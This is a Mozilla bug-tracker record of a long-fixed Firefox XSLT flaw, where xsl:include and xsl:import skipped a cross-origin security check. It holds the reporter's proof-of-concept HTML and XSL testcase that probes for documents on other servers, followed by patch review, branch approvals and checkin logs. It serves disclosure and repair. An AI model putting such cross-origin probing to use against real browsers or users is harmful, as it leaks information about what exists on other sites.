Closed Bug 271209 Opened 20 years ago Closed 20 years ago

xsl:include and xsl:import allow at least checking for existance of documents on arbitrary servers

Categories

(Core :: XSLT, defect, P1)

Product:
Core
Component:
XSLT
Platform:
x86
Linux
Type:
defect

Tracking

()

Status:
VERIFIED FIXED

People

(Reporter: guninski, Assigned: peterv)

References

Details

(Keywords: fixed-aviary1.0.1, fixed1.4.5, fixed1.7.6, Whiteboard: [sg:fix] fixed on trunk)

Attachments

(3 files, 3 obsolete files)

v1.1
16.25 KB, patch
peterv
: review+
jst
: superreview+
dveditz
: approval-aviary1.0.1-
dveditz
: approval1.7.6-
Details | Diff | Splinter Review
v1.1 (branch)
15.35 KB, patch
jst
: review+
jst
: superreview+
mkaply
: approval-aviary1.0.1+
mkaply
: approval1.7.6+
Details | Diff | Splinter Review
patch for 1.4 branch
20.31 KB, patch
jst
: review+
jst
: superreview+
Details | Diff | Splinter Review
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 xsl:include and xsl:import import stylesheets from arbitrary domains (and probably from local fs). this allows at least checking for documents. it may be possible to read xml files, not sure. testcase - open xsl1.html --------------xsl1.html-------- <html> <script> function vv() { v1=a.document.firstChild; alert(v1.textContent); } a=window.open("/xslinc.xml"); setTimeout("vv()",8000); </script> <h1>Copyright Georgi Guninski. Cannot be used in vulnerability databases </h1> </html> ------------------------------- -----xslinc.xml---------------- <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="#"?> <!-- Copyright Georgi Guninski. Cannot be used in vulnerability databases --> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:include href="http://www.mozilla.org/" /> <xsl:include href="http://www.mozilla.org/404-404" /> <xsl:template match="/"> </xsl:template> </xsl:stylesheet> ------------------------------- Reproducible: Always Steps to Reproduce:
Ew. I'm pretty sure we used to block this. txStylesheetCompilerState::loadIncludedStylesheet calls txCompileObserver::loadURI which calls txCompileObserver::startLoad with aCallerPrincipal as nsnull and so we don't do http://lxr.mozilla.org/seamonkey/source/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp#503. We can get to the stylesheet through mProcessor and we have a loadgroup. Sicking, any ideas?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Priority: -- → P1
i have tried this attack in the past and it didn't work for sure. either because of (1) security exception or (2) because include and import were not implemented in xsl
We've supported both xsl:include and xsl:import for as long as I can remember so what's probably happened here is that we lost the security check. Probably when we implemented compiled stylesheets. IMHO the security check should happen in loadURI. Note that we have two implementations of this function: txSyncCompileObserver::loadURI txCompileObserver::loadURI Both these seem to lack the security check. (well, there's also standalone, but we don't need security checks there). It seems like we're using the principal of the source document for the initial load, would it be ok to do that for the rest too? In that case maybe we can set that principal in the txCompileObserver when we kick off the initial load and then always use that (i.e. remove the aPrincipal argument to startLoad). For txSyncCompileObserver we should be able to do something similar.
dveditz, this is somewhat security related.
Peter: do you think you'd be able to take care of this one? I've got too much with the thesis to set up a moz environment and start hacking right now.
Yeah, I' will try to get to it this weekend.
Flags: blocking1.8a6?
Flags: blocking1.7.5?
Status: NEW → ASSIGNED
Attached patch v1 (obsolete) — — Splinter Review
Attachment #168371 - Flags: review?(bugmail)
Why not keep the security check in startLoad rather the duplicating it twice?
Attached patch v1.1 (obsolete) — — Splinter Review
The callers of startLoad have different arguments for the security check. I looked at putting the check back in startLoad, but that gave a lot more if's, so I prefer this one.
Attachment #168371 - Attachment is obsolete: true
Attachment #168646 - Flags: review?(bugmail)
Attachment #168371 - Flags: review?(bugmail)
1.7.5 has shipped. Moving request to 1.7.6.
Flags: blocking1.7.5? → blocking1.7.6?
hrm, would have been nice if this had at least been marked blocking- so we would have had a chance to argue for it. This bug is almost as bad as the XMLHttpRequest bug that made headlines a while back and allows people to download xml data from any url.
Comment on attachment 168646 [details] [diff] [review] v1.1 + channel->SetContentType(NS_LITERAL_CSTRING("text/xml")); Is this a "suggestive" contenttype or does it force the result to be treated as text/xml? nsresult txCompileObserver::loadURI(const nsAString& aUri, + const nsAString& aReferrerUri, txStylesheetCompiler* aCompiler) { nsCOMPtr<nsIURI> uri; nsresult rv = NS_NewURI(getter_AddRefs(uri), aUri); NS_ENSURE_SUCCESS(rv, rv); + nsCOMPtr<nsIURI> referrerUri; + rv = NS_NewURI(getter_AddRefs(referrerUri), aReferrerUri); + NS_ENSURE_SUCCESS(rv, rv); + + // Do security check. + rv = CheckLoadURI(uri, referrerUri, nsnull, nsnull); + NS_ENSURE_SUCCESS(rv, rv); + return startLoad(uri, aCompiler, referrerUri); } uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it show up as changed in the patch? @@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS if (mURI.Equals(aUri)) { return NS_ERROR_XSLT_LOAD_RECURSION; } - return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE; + return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) : + NS_ERROR_FAILURE; Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is forwarded up through child-compilers, but it should be the initial referrer that is the one that actually made the request. r=me with that
Attachment #168646 - Flags: review?(bugmail) → review+
(In reply to comment #12) > (From update of attachment 168646 [details] [diff] [review] [edit]) > + channel->SetContentType(NS_LITERAL_CSTRING("text/xml")); > > Is this a "suggestive" contenttype or does it force the result to be treated as > text/xml? Ignore that, it's for another bug. > uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it > show up as changed in the patch? I have no idea how that happened and I can't reproduce it. Re-diffing made the line show up as changed. Very weird. > @@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS > if (mURI.Equals(aUri)) { > return NS_ERROR_XSLT_LOAD_RECURSION; > } > - return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE; > + return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) : > + NS_ERROR_FAILURE; > > Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is > forwarded up through child-compilers, but it should be the initial referrer > that is the one that actually made the request. Yeah, but only for the mObserver->loadURI call, not for the logging or for the recursion check, right?
Attached patch v1.1 — — Splinter Review
Marking r=sicking.
Attachment #168646 - Attachment is obsolete: true
Attachment #169209 - Flags: superreview?
Attachment #169209 - Flags: review+
Attachment #169209 - Flags: superreview? → superreview?(jst)
Comment on attachment 169209 [details] [diff] [review] v1.1 sr=jst
Attachment #169209 - Flags: superreview?(jst) → superreview+
Comment on attachment 169209 [details] [diff] [review] v1.1 Bug fix for a security hole that allows at least checking for the existance of files on arbitrary servers. The fix is fairly low risk, XSLT is not very widely used, and it just extends a security check to some other codepaths.
Attachment #169209 - Flags: approval1.7.6?
Attachment #169209 - Flags: approval-aviary1.0.1?
Checked in on trunk, leaving open for branches.
Flags: blocking1.8a6?
Blocks: 248511
Blocks: sg-ff101
Blocks: sg-moz176
Whiteboard: [sg:fix] fixed on trunk
We need a version of this patch that doesn't affect translation. Perhaps specialcasing the error code in the loading of the properties files that if loading error 27 fails, it hardcodes the english?
peter, can you put the patch together?
Yes, I'll try to do it tomorrow.
Flags: blocking-aviary1.0.1?
Flags: blocking1.7.6?
Flags: blocking1.7.6+
Flags: blocking-aviary1.0.1?
Flags: blocking-aviary1.0.1+
Comment on attachment 169209 [details] [diff] [review] v1.1 Drivers want this fix, but for the branches we need one that doesn't require the localized string to exist (eg, hardcoded backup string)
Attachment #169209 - Flags: approval1.7.6?
Attachment #169209 - Flags: approval1.7.6-
Attachment #169209 - Flags: approval-aviary1.0.1?
Attachment #169209 - Flags: approval-aviary1.0.1-
Attached patch v1.1 (branch) (obsolete) — — Splinter Review
I'll ask for a new sr and approvals tomorrow. Need to get some sleep first and reread it with a clear head.
Attached patch v1.1 (branch) — — Splinter Review
Ported to the branch, which doesn't have the content policy changes. Note that I did add the string in the properties file allowing translation of the string, but I added fallback if the stringbundle entry is missing.
Attachment #173309 - Attachment is obsolete: true
Attachment #173390 - Flags: superreview?(jst)
Comment on attachment 173390 [details] [diff] [review] v1.1 (branch) r+sr=jst
Attachment #173390 - Flags: superreview?(jst)
Attachment #173390 - Flags: superreview+
Attachment #173390 - Flags: review+
Attachment #173390 - Flags: approval1.7.6?
Attachment #173390 - Flags: approval-aviary1.0.1?
Comment on attachment 173390 [details] [diff] [review] v1.1 (branch) a=mkaply - make sure to put this on the 1.0.1 branch and not the AVIARY branch.
Attachment #173390 - Flags: approval1.7.6?
Attachment #173390 - Flags: approval1.7.6+
Attachment #173390 - Flags: approval-aviary1.0.1?
Attachment #173390 - Flags: approval-aviary1.0.1+
Status: ASSIGNED → RESOLVED
Closed: 20 years ago
Keywords: fixed-aviary1.0.1, fixed1.7.6
Resolution: --- → FIXED
Verified Fixed. Testcase now results in content bring blocked with error: "Error loading stylesheet: An XSLT stylesheet load was blocked for security reasons." Aviary 1.0.1 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050217 Firefox/1.0 Mozilla 1.7.6 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050217 Trunk/M18b1 also look ok (still a problem in Firefox 1.0 as expected)
Status: RESOLVED → VERIFIED
Group: security
hello, all : simple comment that i think one should state here : this 'bug' is actually a feature in xsl (dangerous of course, but convenient) and it is actively used by many legitimate apps as a simple way to retrieve database content directly from a webbrowser window, when u don't really need sql exploitation is rather trivial when you know where the pages are located and the browser accepts client-side scripting (espetially if the 'file' protocol is to be allowed) but browsing is quite unrealistic. as the same problem exists in regular html and various script languages (in which case browsing IS possible) and is commonly fought using a setting such as "allow cross-domain references" or similar, may i suggest that this setting apply for such cases as well. it might then be a reasonable thought that xml will some day include an informal header tag stating where the page could be loaded from (maybe it already does ?) in which case the browser will silently accept the cross-domain referal. ( does the parser look at the headers before it actually parses the tree ? ) i'll have a snip in the code, but probably will not be able to submit a patch before long or at all because i still lack the programming skills... yet i think it should be mentioned here... btw, firefox is GREAT, thanks to you, guys !
Attachment #187758 - Flags: superreview?(jst)
Attachment #187758 - Flags: review?(jst)
Comment on attachment 187758 [details] [diff] [review] patch for 1.4 branch r+sr=jst
Attachment #187758 - Flags: superreview?(jst)
Attachment #187758 - Flags: superreview+
Attachment #187758 - Flags: review?(jst)
Attachment #187758 - Flags: review+
Checking in resources/xslt.properties; /cvsroot/mozilla/extensions/transformiix/resources/Attic/xslt.properties,v <-- xslt.properties new revision: 1.3.2.1; previous revision: 1.3 done Checking in source/base/txError.h; /cvsroot/mozilla/extensions/transformiix/source/base/txError.h,v <-- txError.hnew revision: 1.8.2.1; previous revision: 1.8 done Checking in source/xslt/txMozillaStylesheetCompiler.cpp; /cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp,v <-- txMozillaStylesheetCompiler.cpp new revision: 1.5.4.1; previous revision: 1.5 done Checking in source/xslt/txMozillaXSLTProcessor.cpp; /cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.cpp,v <-- txMozillaXSLTProcessor.cpp new revision: 1.16.2.2; previous revision: 1.16.2.1 done Checking in source/xslt/txMozillaXSLTProcessor.h; /cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.h,v <-- txMozillaXSLTProcessor.h new revision: 1.8.2.1; previous revision: 1.8 done Checking in source/xslt/txStandaloneStylesheetCompiler.cpp; /cvsroot/mozilla/extensions/transformiix/source/xslt/txStandaloneStylesheetCompiler.cpp,v <-- txStandaloneStylesheetCompiler.cpp new revision: 1.6.2.1; previous revision: 1.6 done Checking in source/xslt/txStylesheetCompiler.cpp; /cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.cpp,v <-- txStylesheetCompiler.cpp new revision: 1.6.2.1; previous revision: 1.6 done Checking in source/xslt/txStylesheetCompiler.h; /cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.h,v <-- txStylesheetCompiler.h new revision: 1.7.2.1; previous revision: 1.7 done
Keywords: fixed1.4.5
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: